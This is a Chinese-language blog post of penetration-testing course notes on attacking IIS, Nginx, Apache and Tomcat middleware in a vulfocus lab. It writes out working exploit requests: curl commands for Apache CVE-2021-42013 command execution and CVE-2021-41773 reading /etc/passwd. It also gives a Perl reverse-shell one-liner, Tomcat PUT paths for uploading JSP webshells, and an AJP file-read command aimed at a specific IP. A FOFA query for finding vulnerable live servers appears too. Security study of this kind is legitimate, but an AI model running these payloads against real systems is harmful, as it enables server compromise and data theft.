本文发布于478天前,本文最后更新于477 天前,其中的信息可能已经过时,如有错误请留言或评论。
知识点
- 中间件-IIS-短文件&解析&蓝屏等
- 中间件-Nginx-文件解析&命令执行等
- 中间件-Apache-RCE&目录遍历&文件解析等
- 中间件-Tomcat-弱口令&文件上传&文件包含等
演示案例
靶场还是前一天搭建的vulfocus,需要的靶场在里面下载即可直接在镜像管理搜对应cve即可
➢中间件-IIS-短文件&解析&蓝屏等
- 短文件:信息收集 前面讲过
- 文件解析:还有点用 前面讲过
- HTTP.SYS:蓝屏崩溃 前面讲过
- CVE-2017-7269 条件苛刻无意义
IIS具体在第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏讲过
➢中间件-Nginx-文件解析&命令执行等
- 后缀解析 文件名解析
配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 - cve_2021_23017 无EXP有POC,是拒绝服务漏洞官方描述可以命令执行,但漏洞没有公开
- GitHub地址:https://github.com/M507/CVE-2021-23017-PoC
- 但是这个好像有点问题,我也没得复现出来,小迪换了一个也没有成功
- cve_2017_7529 意义不大
➢中间件-Apache-RCE&目录遍历&文件解析等
了解
- Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
cve_2021_42013 RCE
# 这个curl不知道为什么没有显示,额好吧是因为小迪这个路径有问题 curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' # 修改为下面这个即可执行 curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
# 下面使用bp发post包,数据为要执行的命令 POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh # 要执行的命令(下面是反弹shell的命令(在棱角社区生成的))图里面是id命令 echo;perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
cve_2021_41773 目录穿越
- Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
- 利用:
#使用curl测试,前面是固定的,后面的/etc/passwd是要读取的文件 curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' # 使用bp发包测试 GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
- 若成功读取到文件,则存在漏洞
其他CVE
- cve-2017-15715 文件解析
- Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
- 演示案例:Apache HTTPD 换行解析漏洞(CVE-2017-15715) - kalibb - 博客园 (cnblogs.com)
- cve_2017_9798 价值不高
- cve_2018_11759 价值不高
- cve_2021_37580 插件问题
中间件-Fofaviewer&Apache_RCE-测测实际 server="Apache/2.4.49"
➢中间件-Tomcat-弱口令&文件上传&文件包含等
弱口令猜解
配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell
利用
- 先爆破tomcat登录弱口令
- 然后将生成的webshell后门如1.jsp压缩成zip后修改后缀为war
- 上传war访问链接/1/1.jsp
- 文件存在,上传成功,使用工具连接即可
这个不算漏洞,因为上传文件和登录都是正常的功能
CVE-2017-12615 文件上传
了解
- 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
- 影响版本:Apache Tomcat 7.0.0 - 7.0.81
利用
使用bp发put包,数据为jsp后门代码,可以右键Paste from file,然后选择后门文件1.jsp即可
# 基于Linux PUT /x.jsp/ PUT /xx.jsp%20 # 基于Windows PUT /xxx.jsp::$DATA
cve_2020_1938 文件包含
了解
- Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括: - 影响版本:
- Tomcat 6.*
- Tomcat 7.* < 7.0.100
- Tomcat 8.* < 8.5.51
- Tomcat 9.* < 9.0.31
利用
利用项目GitHub地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
Python2.7\python2.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.98.193.176 -p 35839 -f WEB-INF/web.xml
即可读取到文件
其他CVE
- cve_2020_11996 拒绝服务
- 危害过大,权限无关,意义不大
- cve_2020_9484 反序列化
- 利用条件太苛刻,意义不大
参考
学习内容均来自小迪安全系列课程:http://xiaodi8.com/
哥斯拉GitHub地址:https://github.com/BeichenDream/Godzilla